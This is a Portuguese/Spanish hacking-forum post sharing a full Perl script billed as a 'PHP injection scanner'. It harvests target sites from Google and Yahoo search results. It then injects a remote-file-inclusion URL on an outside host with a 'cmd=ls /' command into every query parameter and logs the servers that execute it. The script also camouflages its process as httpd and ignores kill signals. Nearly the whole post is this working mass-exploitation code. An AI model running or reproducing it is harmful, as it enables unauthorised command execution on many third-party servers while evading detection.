Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

PHP Injection Scanner (Perl Code)

  • 0 Respuestas
  • 1574 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:53:33 pm »
Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. use LWP::Simple;
  4. use IO::Socket::INET;
  5.  
  6.  
  7.  
  8. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  9. print "\t[ PHP injection scanner 5.0 priv8 version by poerschke ]\n\t[ irc.gigachat.net #spykids ]\n\n\n";
  10.  
  11. if(!@ARGV[0]){
  12. print "\t[ use: perl php5.0.pl <procura> ]\n\n";
  13. }
  14. print "\t[ Camuflando pid ]\n";
  15. my $processo = "/usr/local/sbin/httpd - spy";
  16. $SIG{"INT"} = "IGNORE";
  17. $SIG{"HUP"} = "IGNORE";
  18. $SIG{"TERM"} = "IGNORE";
  19. $SIG{"CHLD"} = "IGNORE";
  20. $SIG{"PS"} = "IGNORE";
  21.  
  22. $0="$processo"."\0"x16;;
  23. my $pid=fork;
  24. exit if $pid;
  25. die "Problema com o fork: $!" unless defined($pid);
  26.  
  27. print "\t[ Pid: $pid Processo: $processo ]\n";
  28.  
  29. $caxe = ".";
  30. $caxe1 = ".";
  31. $caxe .= rand(9999);
  32. $caxe1 .= rand(9999);
  33. $arq = ".";
  34. $arq = int rand(9999);
  35.  
  36. open(sites,">$arq");
  37. print sites "";
  38. close(sites);
  39.  
  40.  
  41. $procura = @ARGV[0];
  42. chomp $procura;
  43. print "\t[ Procurando por $procura no Google ]\n";
  44. for($n=0;$n<900;$n += 10){
  45. $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next;
  46. print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
  47. print $sock "Host: www.google.com.br";
  48. print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
  49. print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
  50. print $sock "Accept-Language: pt-br, pt;q=0.50";
  51. print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9";
  52. print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
  53. print $sock "Keep-Alive: 300";
  54. print $sock "Connection: keep-alive";
  55.  
  56. @resu = <$sock>;
  57. close($sock);
  58. $ae = "@resu";
  59. while ($ae=~ m/<a href=.*?>.*?<\/a>/){
  60.   $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
  61.   $uber=$1;
  62.    if ($uber !~/translate/)
  63.    {
  64.    if ($uber !~ /cache/)
  65.    {
  66.    if ($uber !~ /"/)
  67.    {
  68.    if ($uber !~ /google/)
  69.    {
  70.    if ($uber !~ /216/)
  71.    {
  72.    if ($uber =~/http/)
  73.    {
  74.    if ($uber !~ /start=/)
  75.    {
  76.      open(arq,">>$arq");
  77.           print arq "$uber\n";
  78.           close(arq);
  79. }}}}}}}}}
  80. print "\t[ Procurando por $procura no Cade   ]\n";
  81.  
  82. for($cadenu=1;$cadenu <= 991; $cadenu +=10){
  83.  
  84. @cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next;
  85. $ae = "@cade";
  86.  
  87. while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
  88.   $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
  89.   $uber=$1;
  90.  
  91. $uber =~ s/ //g;
  92. $uber =~ s/<b>//g;
  93. $uber =~ s/<\/b>//g;
  94.  
  95. open(a,">>$arq");
  96. print a "$uber\n";
  97. close(a);
  98. }}
  99. print "\t[ Pronto sites pegos no google e cade ]\n";
  100. print "\t[ Excluindo os sites repetidos ]\n";
  101. $ark = $arq;
  102. @si = "";
  103. open (arquivo,"<$ark");
  104. @si = <arquivo>;
  105. close(arquivo);
  106. $novo ="";
  107. foreach (@si){
  108. if (!$si{$_})
  109. {
  110. $novo .= $_;
  111. $si{$_} = 1;
  112. }
  113. }
  114. open (arquivo,">$ark");
  115. print arquivo $novo;
  116. close(arquivo);
  117.  
  118.  
  119. $a =0;
  120. $b =0;
  121. open(ae,"<$arq");
  122. while(<ae>)
  123. {$sites[$a] = $_;
  124.   chomp $sites[$a];
  125.   $a++;
  126.   $b++;}
  127. close(ae);
  128. print "\t[ Total de sites para scanear: $a ]\n";
  129. for ($a=0;$a<=$b;$a++){
  130. open (file, ">$caxe");
  131.       print file "";
  132. close(file);
  133. open (file, ">$caxe1");
  134.       print file "";
  135. close(file);
  136. $k=0;
  137. $e=0;
  138. $data=get($sites[$a]) or next;
  139.   while($data=~ m/<a href=".*?">.*?<\/a>/){
  140.   $data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
  141.   $ubersite=$1;
  142.  
  143.   if ($ubersite =~/"/)
  144.    {
  145.    $nu = index $ubersite, '"';
  146.    $ubersite = substr($ubersite,0,$nu);
  147.    }
  148. if ($ubersite !~/http/)
  149. {$ubersite = $sites[$a].'/'.$ubersite;}
  150. open(file,">>$caxe") || die("nao abriu caxe.txt $!");
  151. print file "$ubersite\n";
  152. close(file);
  153. }
  154.  
  155. $lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls%20/';
  156. $t =0;
  157. $y =0;
  158. @ja;
  159. open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
  160. while (<opa>)
  161. {
  162. $ja[$t] = $_;
  163. chomp $ja[$t];
  164. $t++;
  165. $y++;
  166. }
  167. close(opa);
  168. $t=1;
  169. while ($t < $y)
  170.    {
  171.     if ($ja[$t] =~/=/)
  172.       {
  173.        $num = rindex $ja[$t], '=';
  174.        $num += 1;
  175.        $ja[$t] = substr($ja[$t],0,$num);  
  176.             open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
  177.             print jaera "$ja[$t]$lista1\n";
  178.             close(jaera);
  179.         $num = index $ja[$t], '=';
  180.         $num += 1;
  181.         $ja[$t] = substr($ja[$t],0,$num);      
  182.         $num1 = rindex $ja[$t], '.';
  183.         $subproc = substr($ja[$t],$num1,$num);
  184.          
  185.             open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
  186.             print jaera "$ja[$t]$lista1\n";
  187.             close(jaera);
  188.       }
  189.      $t++;
  190.      }
  191. $ark = "$caxe1";
  192. @si = "";
  193. open (arquivo,"<$ark");
  194. @si = <arquivo>;
  195. close(arquivo);
  196. $novo ="";
  197. foreach (@si){
  198. if (!$si{$_})
  199. {
  200. $novo .= $_;
  201. $si{$_} = 1;
  202. }
  203. }
  204. open (arquivo,">$ark");
  205. print arquivo $novo;
  206. close(arquivo);
  207.    $q=0;
  208.    $w=0;
  209.     @hot;
  210.    open (ops,"<$caxe1");
  211.    while(<ops>)
  212.    {
  213.    $hot[$q] = $_;
  214.    chomp $hot[$q];
  215.    $q++;
  216.    $w++;
  217.    }
  218.    close(ops);
  219. print "\t[ ComeiƒÆ’i‚§ando o scan aguarde. Pode demorar horas. ]\n";
  220. for($q=0;$q<=$w;$q++)
  221.   {
  222.  
  223.   if ($hot[$q] =~/http/)
  224.     {
  225.    $tipo=get($hot[$q]) or next;
  226.    if($tipo =~/root/)
  227.          {
  228.          if ($tipo =~/etc/)
  229.           {
  230.           if ($tipo =~/boot/)
  231.            {
  232.     open(a,">>res.txt");
  233.     print a "$hot[$q]\n";
  234.     close(a);
  235.                  }}}}}}
  236.  
  237. print "\t[ Pronto scanner concluido ]\n";
  238. print "\t[ O resultado foi salvo no ftp do spykids ]\n";
« Última modificación: Marzo 14, 2015, 09:55:31 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.com

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3506
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1743
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1307
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1297
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1435
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear